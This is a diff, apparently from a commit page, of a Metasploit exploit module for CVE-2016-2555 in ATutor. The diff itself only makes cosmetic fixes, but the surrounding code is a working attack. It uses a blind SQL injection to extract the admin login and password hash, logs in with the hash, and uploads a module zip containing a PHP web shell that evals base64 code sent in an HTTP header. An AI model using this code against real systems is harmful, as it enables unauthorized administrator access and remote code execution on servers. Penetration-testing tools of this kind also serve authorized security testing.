@@ -17,7 +17,7 @@ def initialize(info={})
17
17
'Description' => %q{
18
18
This module exploits a SQL Injection vulnerability and an authentication weakness
19
19
vulnerability in ATutor. This essentially means an attacker can bypass authenication
20
- and reach the administrators interface where they can upload malicious code.
20
+ and reach the administrator's interface where they can upload malicious code.
21
21
} ,
22
22
'License' => MSF_LICENSE ,
23
23
'Author' =>
@@ -28,7 +28,7 @@ def initialize(info={})
28
28
[
29
29
[ 'CVE' , '2016-2555' ] ,
30
30
[ 'URL' , 'http://www.atutor.ca/' ] , # Official Website
31
- [ 'URL' , 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
31
+ [ 'URL' , 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
32
32
] ,
33
33
'Privileged' => false ,
34
34
'Payload' =>
@@ -43,7 +43,7 @@ def initialize(info={})
43
43
44
44
register_options (
45
45
[
46
- OptString . new ( 'TARGETURI' , [ true , 'The path of Atutor' , '/ATutor/' ] ) ,
46
+ OptString . new ( 'TARGETURI' , [ true , 'The path of Atutor' , '/ATutor/' ] )
47
47
] , self . class )
48
48
end
49
49
@@ -61,7 +61,7 @@ def print_good(msg='')
61
61
62
62
def check
63
63
# the only way to test if the target is vuln
64
- if test_injection ( )
64
+ if test_injection
65
65
return Exploit ::CheckCode ::Vulnerable
66
66
else
67
67
return Exploit ::CheckCode ::Safe
@@ -75,7 +75,7 @@ def create_zip_file
75
75
@plugin_name = Rex ::Text . rand_text_alpha_lower ( 3 )
76
76
77
77
path = "#{ @plugin_name } /#{ @payload_name } .php"
78
- # this content path is where the ATutor authors recommended to install it
78
+ # this content path is where the ATutor authors recommended installing it
79
79
register_file_for_cleanup ( "#{ @payload_name } .php" , "/var/content/module/#{ path } " )
80
80
zip_file . add_file ( path , "<?php eval(base64_decode($_SERVER['HTTP_#{ @header } '])); ?>" )
81
81
zip_file . pack
@@ -86,7 +86,7 @@ def exec_code
86
86
'method' => 'GET' ,
87
87
'uri' => normalize_uri ( target_uri . path , "mods" , @plugin_name , "#{ @payload_name } .php" ) ,
88
88
'raw_headers' => "#{ @header } : #{ Rex ::Text . encode_base64 ( payload . encoded ) } \r \n "
89
- } , timeout = 0.1 )
89
+ } , 0.1 )
90
90
end
91
91
92
92
def upload_shell ( cookie )
@@ -99,20 +99,20 @@ def upload_shell(cookie)
99
99
'method' => 'POST' ,
100
100
'data' => data ,
101
101
'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
102
- 'cookie' => cookie ,
102
+ 'cookie' => cookie
103
103
} )
104
104
105
105
if res && res . code == 302 && res . redirection . to_s . include? ( "module_install_step_1.php?mod=#{ @plugin_name } " )
106
106
res = send_request_cgi ( {
107
107
'method' => 'GET' ,
108
108
'uri' => normalize_uri ( target_uri . path , "mods" , "_core" , "modules" , res . redirection ) ,
109
- 'cookie' => cookie ,
109
+ 'cookie' => cookie
110
110
} )
111
111
if res && res . code == 302 && res . redirection . to_s . include? ( "module_install_step_2.php?mod=#{ @plugin_name } " )
112
112
res = send_request_cgi ( {
113
113
'method' => 'GET' ,
114
114
'uri' => normalize_uri ( target_uri . path , "mods" , "_core" , "modules" , "module_install_step_2.php?mod=#{ @plugin_name } " ) ,
115
- 'cookie' => cookie ,
115
+ 'cookie' => cookie
116
116
} )
117
117
return true
118
118
end
@@ -162,7 +162,7 @@ def perform_request(sqli)
162
162
return res . body
163
163
end
164
164
165
- def dump_the_hash ( )
165
+ def dump_the_hash
166
166
extracted_hash = ""
167
167
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
168
168
login_and_hash_length = generate_sql_and_test ( do_true = false , do_test = false , sql = sqli ) . to_i
@@ -220,7 +220,7 @@ def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
220
220
end
221
221
end
222
222
223
- def test_injection ( )
223
+ def test_injection
224
224
if generate_sql_and_test ( do_true = true , do_test = true , sql = nil )
225
225
if generate_sql_and_test ( do_true = false , do_test = true , sql = nil )
226
226
return true
@@ -260,7 +260,7 @@ def report_cred(opts)
260
260
261
261
def exploit
262
262
print_status ( "Dumping the username and password hash..." )
263
- credz = dump_the_hash ( )
263
+ credz = dump_the_hash
264
264
if credz
265
265
print_good ( "Got the #{ credz [ 0 ] } 's hash: #{ credz [ 1 ] } !" )
266
266
admin_cookie = login ( credz [ 0 ] , credz [ 1 ] )
0 commit comments